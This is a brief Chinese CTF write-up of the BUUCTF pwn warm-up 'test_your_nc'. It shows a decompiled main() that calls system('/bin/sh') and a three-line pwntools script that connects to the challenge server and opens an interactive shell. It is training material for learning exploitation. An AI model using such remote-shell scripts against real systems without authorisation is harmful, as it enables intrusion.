BUUCTF-PWN爬坑-01-test_your_nc

test_your_nc

• 使用kali file test

64 PE

• IDA

int __cdecl main(int argc, const char **argv, const char **envp)
{
  system("/bin/sh");
  return 0;
}

主函数直接就是system

两种方法:

1. 题目提示NC
2. pwn exp执行

#!/usr/bin/python3
# coding=utf-8

from pwn import *

p = remote('node3.buuoj.cn', 28566)

p.interactive()